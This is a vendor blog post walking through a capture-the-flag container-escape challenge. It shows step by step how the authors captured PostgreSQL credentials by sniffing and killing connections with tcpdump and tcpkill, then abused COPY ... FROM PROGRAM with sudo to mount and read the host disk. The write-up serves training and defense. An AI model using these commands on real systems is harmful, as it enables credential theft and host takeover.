October 27, 2025
Contain Me If You Can: Breaking Out of the Container (Wiz CTF Challenge #2)
Sahara Armen
Security Engineer
Share:
Participating in or analyzing Capture the Flag (CTF) challenges is more than a game for our team at Tamnoon. These scenarios are an opportunity to sharpen response skills by stepping into the attacker’s mindset.
By studying how adversaries probe for weaknesses, escalate privileges, and pivot across environments, we strengthen our ability to anticipate threats and design smarter detection and remediation strategies.
In the July edition of the Cloud Security Championship, the challenge was clear: “You’re trapped inside a container and need to reach the host file system to find /flag.”
Here’s how we approached the first two challenges, from initial reconnaissance to pulling off a PostgreSQL escape.
Step 1: Establishing our footing
The first things we wanted to know: who are we, what’s running, and what’s reachable?
whoami
We’re root inside the container. Full control here gives us a strong starting point.
ps aux
sleep is running. That hints this container is intentionally minimal, so we turned to networking.
netstat -antp
#for more specific to 5432 run with a grep
netstat -tnp | grep 5432
5432, the default for PostgreSQL. Filtering confirmed it:
So there’s a database connection to explore. From the connection data, we know:
- The source port, 59312
- the destination port, 5432
- The connection is established
Step 2: Capturing credentials in flight
To get into the database, we needed credentials. First, we installed packet capture tools:
# Install these packages
# tshark is the CLI version of Wireshark
# binutils makes raw .pcap files readable
apt update && apt install -y tshark binutils
Then we captured traffic on port 5432:
tcpdump -i eth0 -w capture.pcap host 172.19.0.2 and port 5432
# let this run for 30 seconds then hit ctrl+c
strings capture.pcap
The capture showed queries (SELECT now();) but no credentials. PostgreSQL wasn’t forcing reauthentication.
To change that, we killed the connection while capturing in the background:
tcpdump -i eth0 -w capture.pcap host 172.19.0.2 and port 5432 &
tcpkill -i eth0 host 172.19.0.2 and port 5432
# let run for 30 sec
fg
#ctrl+c
strings capture.pcap
After reauthentication, the capture revealed what we needed:
- Username: user
- Password: SecretPostgreSQLPassword
Success! Now it’s time to log in to the database.
Step 3: Logging into PostgreSQL
We have the credentials, so let’s log into the database.
psql -h 172.19.0.2 -p 5432 -U user -d postgres
#Password = SecretPostgreSQLPassword
Now for some SQL. First, we need to check what role we have in the database.
\du
Here’s what we see:
COPY … FROM PROGRAM feature. It’s a legitimate function for admins, but dangerous when abused. Why PostgreSQL superuser access matters
PostgreSQL’s COPY … FROM PROGRAM command is intended for system administrators. It allows trusted users to pull command output directly into database tables, which can be useful for automation or monitoring.
The problem is that this capability runs at the operating system level. If an attacker gains superuser rights in PostgreSQL, they can execute arbitrary shell commands, including mounting disks, exploring file systems, or exfiltrating sensitive data.
This is why production databases should tightly limit which accounts hold superuser privileges, and why monitoring for abuse of COPY … FROM PROGRAM is critical. What’s a helpful feature for DBAs can easily become an escape hatch in the wrong hands.
Step 4: Using PostgreSQL to reach the host
Moving on, we still need to create a table to capture command output. We did that using:
#Create a table
CREATE TABLE cmdout(line text);
From there, we executed commands on the host environment through PostgreSQL:
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /usr/bin/id';
SELECT * FROM cmdout;
- Listed block devices.
- Created a mount point.
- Mounted
/dev/vdato access the host filesystem. - Searched for and read the flag.
#Look for exposed block devices
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/ls -la /dev';
SELECT * FROM cmdout;
#Make the mountpoint too access the host's root file system
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/mkdir -p /mnt/host';
SELECT * FROM cmdout;
#Mount the host disk -vda
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/mount /dev/vda /mnt/host';
SELECT * FROM cmdout;
#Explore mounted host file system
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/ls -la /mnt/host';
SELECT * FROM cmdout;
#Search for the flag on the mounted filesystem
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /usr/bin/find /mnt/host -maxdepth 3 -iname "*flag*" 2>/dev/null';
SELECT * FROM cmdout;
#Read the Flag
TRUNCATE cmdout;
COPY cmdout FROM PROGRAM '/usr/bin/sudo /bin/cat /mnt/host/flag';
SELECT * FROM cmdout;
Step 5: The flag is found
If you follow these steps you will have found the flag successfully.
What this challenge teaches security teams
Challenges like this highlight the importance of tightly controlling container isolation and database permissions.
Features designed for administrators, like PostgreSQL’s COPY … FROM PROGRAM, can double as escape hatches if superuser access isn’t locked down.
For defenders, the lesson is simple: don’t assume the boundary between container and host is absolute. Strong least-privilege configurations and careful monitoring are crucial in preventing attackers from gaining unauthorized access and “turning the tables.”
Generalists in a specialist’s world
Don’t settle for noise disguised as protection. See how Tamnoon turns alerts into action and exposure into resilience.
Discover the Latest From Tamnoon
There’s always more to learn, see our resources center